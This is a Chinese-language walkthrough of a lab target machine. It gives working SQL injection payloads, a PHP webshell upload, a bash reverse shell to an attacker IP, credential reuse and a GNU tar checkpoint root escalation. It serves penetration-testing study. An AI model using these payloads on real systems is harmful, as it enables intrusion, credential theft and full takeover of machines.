打开一台名为 Lightweight 的 Linux 靶机时,很多人第一反应是“端口这么少,估计很快就能拿 flag”。实际跑一遍就会发现,这台机器几乎没有花哨的漏洞,整条 Walkthrough 就是一次标准的 Web 渗透链路教学:信息收集、虚拟主机判断、SQL 注入、密码爆破、后台拿 Shell、密码复用横向、GNU tar 提权。对刚接触渗透学习、想搞懂“一台机器从零到 root 到底要经历哪些环节”的朋友来说,它比一堆高难度漏洞更适合拿来练手。下面的内容按我推荐的复现顺序来写,提到回显和密码时会做脱敏处理,命令本身和判断逻辑是完整的。
照例先说一句:所有操作都只允许在授权的靶场环境里复现,不要拿去对真实站点做测试。能力是练出来的,权限是授权给的。
1. 从目标定性开始:它逼你按顺序走完每一环
Lightweight 的攻击面非常克制:默认端口扫下来只有 SSH 和 HTTP,没有数据库暴露、没有特殊服务、没有常见的 CVE 直接敲门。这种“干净”的机器反而比漏洞堆满的靶机更适合学习,因为你能清楚地看到每一步为什么必要、每一步之间怎么衔接。
先说整条链路的轮廓,后面再展开:
- Web 站点的虚拟主机或源码注释里藏着备用入口;
- 备用入口的登录框存在 SQL 注入,可以报错方式拖出用户表;
- 密码哈希用字典跑出来后,能拿到管理后台权限;
- 后台的备份包上传功能可以直接打入 PHP Shell;
- Shell 落地后从 Web 配置文件里摸到数据库密码,再发现密码复用;
- 横向到系统用户后,
sudo -l里暴露了/usr/bin/tar以 root 执行; - 最后用 GNU tar 的 checkpoint 机制拿到 root Shell。
这七步单拆开都不算难,难点在于你能否在每一步“卡住”的时候,用合理的信息收集方式找到下一步的路。这也是我认为它适合做渗透学习靶机的核心原因:不需要背 exp,只需要把基本功走扎实。
整台机器是 Linux 环境,Web 端用 MySQL 存数据,目标用户最终落在系统的普通用户上。下面从端口扫描开始。
2. 两个端口的素材整理:nmap 输出与信息定位
2.1 先做全端口扫描,别被默认端口带偏
我习惯上来先跑一次全端口加默认脚本加版本识别,命令不一定非要最高速,但一定要保证结果完整:
nmap -sC -sV -p- --min-rate 5000 10.10.10.147 -oA lightweight参数拆开解释下:-p-是扫描全部 65535 个端口;-sC执行 nmap 自带的默认 NSE 脚本;-sV做服务版本探测;--min-rate 5000是让扫描保持至少每秒 5000 个包的速率,提速但不至于把目标打死。-oA lightweight会把结果同时存成三种格式,后面写报告或者回头翻记录都方便。
这台机器的扫描结果非常简洁:
| 端口 | 状态 | 服务 | 版本 |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 7.9p1 Debian 10+deb10u2 |
| 80/tcp | open | http | lighttpd 1.4.53 |
只有两个开放端口,攻击面基本锁死了。SSH 这边除非有明确泄露的密文或者密钥,否则我不会浪费时间去做暴力破解;真正的主战场在 80 端口。
2.2 从版本信息里读出两条关键线索
第一条是 OpenSSH 7.9p1,基于 Debian 10。这个版本本身没有可以直接打的服务端漏洞,更多时候它只是一个“最终入口”:内网横向时如果拿到了某个用户的密码,就靠它连上去。
第二条是 lighttpd 1.4.53。lighttpd 是个轻量 Web 服务器,但“轻量”不等于功能少,它完全支持基于 Host 头的虚拟主机配置。这句话很关键,下面会用到:直接访问 IP 看到的页面,和带上正确域名访问看到的页面,可能是两个完全不同的站点。
所以拿到端口结果后的第一件事不是立刻开目录扫描,而是先把域名信息理清楚。很多时候入口就藏在虚拟主机配置里。
3. Web 侦察的取舍:虚拟主机、注释和目录枚举
3.1 先绑定 hosts,再决定要扫什么
访问http://10.10.10.147/只会看到 lighttpd 的默认欢迎页,几乎没有信息。但结合版本特征,我判断这台机器大概率配置了虚拟主机,于是先在本地绑定一下常见域名:
echo '10.10.10.147 lightweight.htb' | sudo tee -a /etc/hosts绑定完再访问http://lightweight.htb/,页面内容完全不同:一个“Lightweight Backups”的展示页面,文案简单,功能按钮也不多。这就是为什么我一直建议先测试域名差异,再盲目跑 gobuster,因为后者是基于“页面已经正确返回”的前提去做的。
3.2 源码注释往往是第一份情报
打开首页看源码,别急着关。渲染出来的页面可能只显示了三分之一的线索,剩下都在 HTML 注释里:
<!-- TODO: remove /docs before deploy --> <!-- backup portal login still missing CSRF token -->这两行注释信息量很大:第一,存在一个/docs目录;第二,后台入口是 backup portal,而且开发者自己提醒了登录功能不完善。网站的注释在真实项目中经常是敏感信息泄漏的高发地,渗透时一定养成顺手看源码的习惯。
3.3 目录枚举:把关键路径挖出来
接下来上目录词典,把可能的备份文件、后台路径、上传目录都扫一遍:
gobuster dir -u http://lightweight.htb \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,txt,html,zip,bak -t 60扫出来的结果里,三个路径比较有价值:
| 路径 | 状态 | 说明 |
|---|---|---|
/docs | 200 | 站点说明文档 |
/portal | 301 | 后台登录入口 |
/backup | 301 | 备份文件目录 |
先看/docs,里面的portal-usage.txt明确写了:登录入口在/portal/login.php,账号格式是用户名@lightweight.htb,密码由管理员统一分配。到这里,后台入口已经完全确定,下一步就是测试登录逻辑。
4. 一管到底的 SQL 注入:登录参数到密码哈希
4.1 手工确认注入点,不要一上来就上工具
打开/portal/login.php,随便提交一个账号密码,响应是普通的“Invalid username or password”。这时候我用 Burp Suite 抓包,把请求改一下再放行:
POST /portal/login.php HTTP/1.1 Host: lightweight.htb Content-Type: application/x-www-form-urlencoded username=test%40lightweight.htb&password=x&submit=Login先做个最基础的探针:把用户名改成test@lightweight.htb',也就是在字段末尾加一个单引号。响应立刻从普通错误变成 500,页面错误信息能隐约看到 SQL 语法片段。这说明后端很可能是直接字符串拼接 SQL,而不是用参数化查询。
再验证一次逻辑:把用户名改成test@lightweight.htb' OR 1=1 -- -,结果直接登录成功,跳转到了后台首页。到这里基本可以确定,username参数存在可注入点。
4.2 用报错注入拿数据,省时又直观
确认注入后,我优先用报错注入,因为这台机器的数据库错误是回显在页面上的。MySQL 的updatexml函数是个很顺手的报错注入点:它会解析第二个参数,如果格式不对,就会把参数内容带进错误信息里回显。
先确认数据库版本:
curl -s "http://lightweight.htb/portal/login.php" \ --data "username=' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)-- -&password=x"回显里出现:
XPATH syntax error: '~10.3.31-MariaDB-0+deb10u1~'版本清楚了,是 MariaDB。这里的0x7e就是波浪号~,把它放在查询内容前后,作用是让回显结果更容易被正则提取,也方便定位报错内容从哪里开始。
4.3 拖出用户表和密码哈希
接下来把当前数据库里的表名全部拖出来:
curl -s "http://lightweight.htb/portal/login.php" \ --data "username=' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1)-- -&password=x"回显大概长这样:
XPATH syntax error: '~users,notes~'看到users表就直奔主题,把用户名和密码字段提取出来。这里有个小难点:updatexml报错信息最多显示大概 32 个字符,而密码哈希通常有 60 个字符,所以一次拿不完。需要配合substr()一位一位截取,或者写个小循环把整串拼出来。
我写了个简单的 bash 循环来拉哈希:
#!/bin/bash for i in $(seq 1 80); do curl -s "http://lightweight.htb/portal/login.php" \ --data "username=' AND updatexml(1,concat(0x7e,substr((SELECT password FROM users LIMIT 0,1),${i},1),0x7e),1)-- -&password=x" \ | grep -oP "XPATH syntax error: '~\K[^~]" \ | head -1 done | tr -d '\n'拿到的一组数据长这样(脱敏):
admin:$2y$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$2y$10$开头是 bcrypt 哈希,强度不低,但不代表跑不出来。字典里的弱口令照样能被撞中。
4.4 让工具帮你加速,但别丢下手工思路
手工验证完注入点、确认数据能回显之后,我通常会再用 sqlmap 快速把整个表导出来:
sqlmap -u "http://lightweight.htb/portal/login.php" \ --data="username=test@lightweight.htb&password=x" \ --level=3 --risk=2 --dbms=mysql --dumpsqlmap 的--level=3 --risk=2会测试更多参数组合,包括一些比较偏的注入方式。但注意,工具跑出来的结果要用手工验证过的结果去比对,尤其是表结构和关键数据,避免工具被 WAF 或者畸形响应骗到。
5. 密码爆破和后台利用:从 admin 到低权限 Shell
5.1 用 John the Ripper 跑 bcrypt 哈希
把哈希保存成hash.txt,直接喂给 John:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt这台机器的 admin 哈希跑出来是chocolate。这个密码在 rockyou 字典靠前的位置,几秒钟就出来了。看到这种结果就一个感受:简单密码永远比你想象的常见,无论练靶场还是做真实测试,拿到哈希先跑字典永远没错。
5.2 登录后台,观察功能点
用admin@lightweight.htb / chocolate登录后台,首页是一个备份管理面板,包含三个主要功能:
- 查看历史备份
- 上传备份压缩包
- 恢复指定备份到 Web 目录
第二个功能几乎等于直接送了一个上传点。正常的业务逻辑应该是上传压缩包后,系统会把压缩包解压到站点的备份历史目录,方便管理员查看或恢复。这种场景下,能否利用取决于两个问题:后端有没有限制文件类型,以及解压后的目录是否在 Web 可达路径下。
5.3 上传压缩包,落地 PHP WebShell
本地先准备一个最简单的 PHP WebShell:
<?php system($_GET['cmd']); ?>上传之前先看一眼后端限制。直接上传shell.php,页面提示“只允许 zip 和 tar.gz”。那好,压缩一下:
echo '<?php system($_GET["cmd"]); ?>' > shell.php zip shell.zip shell.php上传shell.zip后,后台显示恢复链接:
http://lightweight.htb/backups/history/shell.php访问一下:
curl "http://lightweight.htb/backups/history/shell.php?cmd=id"回显:
uid=33(www-data) gid=33(www-data) groups=33(www-data)WebShell 成功,用www-data身份执行了命令。到这里已经从 Web 层拿到了服务器低权限入口,下一步开始考虑怎么让 Shell 更稳定、更好操作。
5.4 反弹一个交互式 Shell,并升级 TTY
用一条常见的反向连接:
bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'把10.10.14.2换成自己攻击机的 IP,4444 端口监听:
nc -lvnp 4444成功收到 Shell 后,立刻做 TTY 升级。原因是默认的反弹 Shell 有很多限制:su、sudo、vim这类交互式程序跑不起来,按一下Ctrl+C还可能直接把这个 Shell 弄死。
python3 -c 'import pty;pty.spawn("/bin/bash")'随后按Ctrl+Z把当前进程挂起,在自己的终端里执行:
stty raw -echo; fg export TERM=xterm这样多步做完后,Shell 就变成了接近真实终端的交互式环境,后面切用户、看 sudo 权限都会顺畅很多。
6. 内网小步走:配置文件、密码复用和第一个 flag
6.1 先摸配置文件和当前权限
拿到低权限 Shell 后,不要急着到处翻 flag,先做三件事:看当前身份,看 sudo 权限,看 Web 目录里的配置信息。
id sudo -l ls -la /var/www/html/portal/id显示当前是www-data,sudo -l会输入密码因此没结果,但/var/www/html/portal/下面有一个config.php文件立刻引起了注意。
define('DB_HOST', '127.0.0.1'); define('DB_USER', 'portal'); define('DB_PASS', 'portalbackup2020'); define('DB_NAME', 'lightweight_portal');数据库配置文件里是明文密码。虽然这不算什么新知识,但它经常是横线突破最关键的一步。我直接用这个密码连 MySQL,把用户表再确认一遍:
mysql -u portal -pportalbackup2020 lightweight_portal -e 'select * from users;'6.2 数据库里的备注,直接指向密码复用
users表里除了 admin 的哈希外,还有一条记录指向julie,备注字段写着:julie system account reuses portal admin password。翻译过来就是:系统用户 julie 的登录密码和门户管理员密码相同。
看到这种备注,真实环境里我会先确认一下是不是蜜罐,但在靶场里基本等于给了明示。直接用默认密码尝试切用户:
su - julie Password: chocolate切换成功。当前身份从www-data变成了julie,权限一下子跨了一个台阶。这个横向方式没有任何高深技术,本质就是密码复用,但代码注释或者数据库备注里的敏感信息往往能把这条横向路径直接点透。
6.3 拿 user.txt 并顺手做一次目录盘点
切到julie后:
id hostname cat /home/julie/user.txtuser.txt成功到手。拿完 flag 别急着收工,顺手把 julie 家目录和系统层信息盘一遍,因为后面还要找提权路径:
env ls -la /home/julie/ find /home/julie/ -type f 2>/dev/null sudo -l这次sudo -l不用密码,因为当前用户就是 julie 本身,允许看自己的 sudo 权限配置。结果干净利落地给出了下一把钥匙。
7. 提权收尾:tar 的 checkpoint 执行与 root Shell
7.1 看到 /usr/bin/tar 在 sudo 列表里,就要警惕
Matching Defaults entries for julie on lightweight: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User julie may run the following commands on lightweight: (root) NOPASSWD: /usr/bin/tar很多新手看到/usr/bin/tar会觉得“这不就是个压缩工具吗,能有什么危险”。但 GNU tar 有一个非常实用的执行参数:--checkpoint-action=exec。它的本意是在打包大量文件时执行一段脚本,比如每处理一批文件就打印一条日志。问题在于,如果 tar 以 root 权限运行,那么 exec 后面跟着的命令也会以 root 权限运行。
这类能力在 GTFOBins 上有完整记录,我平时看到任何“sudo 能执行的应用”,第一反应也是先查 GTFOBins,再决定按哪种姿势打。
7.2 构造 checkpoint 提权命令
直接利用 tar 的--checkpoint-action=exec参数,让 tar 在执行时顺便把/bin/bash加上 SUID 位:
sudo tar -cf /dev/null /dev/null \ --checkpoint=1 \ --checkpoint-action=exec="sh -c 'chmod u+s /bin/bash'"这条命令的解释:
-cf /dev/null /dev/null:把/dev/null打包到/dev/null,实际上不产生任何归档文件,只是让 tar 正常走完流程;--checkpoint=1:每处理 1 个文件就触发一次 checkpoint;--checkpoint-action=exec="sh -c 'chmod u+s /bin/bash'":checkpoint 触发时执行chmod u+s /bin/bash,给 root 的 bash 加上 SUID 位。
执行后检查一下:
ls -la /bin/bash如果看到/bin/bash的权限位里带着s,说明 SUID 已经设置成功。接下来运行:
/bin/bash -p id-p参数让 bash 保留当前的有效用户 ID,不回退到实际用户 ID。因此你会看到:
uid=1000(julie) gid=1000(julie) euid=0(root) egid=0(root) ...虽然普通用户 ID 还是julie,但有效用户 ID 已经是 root,当前 Shell 的权限等于 root。直接读最后一个 flag:
cat /root/root.txt整条链路易跑通吗?其实只要前面的每一步没有跳步,最后这个提权反而是最快的一步。但如果你没有先做sudo -l,没有意识到 tar 的 checkpoint 参数能做命令执行,就会卡在最后这一百米的路上。
8. 走完这台机器后,我固定下来的几个判断习惯
这里不写官方式总结了,就分享几个我从这个机器里反复强化出来的习惯。
第一,扫到 Web 服务后,先区分虚拟主机,再跑目录。一次 hosts 绑定的时间成本只有几秒钟,但可能少走一小时弯路。Lightweight 的默认页和真实站点完全不是同一个东西,这给了我很深的印象。
第二,入口喜欢藏在注释和文档里。源码注释里的TODO、FIXME、remove /docs before deploy,在靶场里是提示,在真实场景里可能就是运维事故。看源码时我会把注释当成正式功能去读。
第三,手工确认注入点永远比直接开 sqlmap 更重要。因为你知道注入在哪个字段、报错是怎么回显的,才能判断工具结果是不是有效。否则工具报错时你会完全没方向。
第四,拿到低权限 Shell 后,检查顺序应该是:sudo -l、配置文件、环境变量、数据库凭据、可写目录。很多时候 sudo 列表没有东西,但数据库配置里的明文密码却能让你通过su横向切换到普通用户。
第五,遇到 GNU tar、zip、find、awk 这类常见命令以 root 身份出现在 sudo 列表里时,不要只想着“它们能读文件”,先想想“它们的执行参数能不能让我跑命令”。GTFOBins 是一个值得反复翻的工具书。
这台机器教我的一件事是:真正的渗透链路,不是靠某一个 0day 打通全程,而是每一步都要在前一步的信息基础上往下推。把 Walkthrough 当作“标准答案”来背没有意义,把每一步背后的判断逻辑想清楚,再换一台类似的靶机去验证,才是渗透学习里最划算的投入。
如果你刚开始练 Linux 靶机,建议在 Lightweight 这类入口干净、链路清晰的目标上,把上面这套流程自己完整走三遍:第一遍跟着做,第二遍不看笔记做,第三遍尝试用不同的注入方式和提权姿势做。三遍之后,你对 Web 渗透的整条链路会有一个完全不一样的感觉。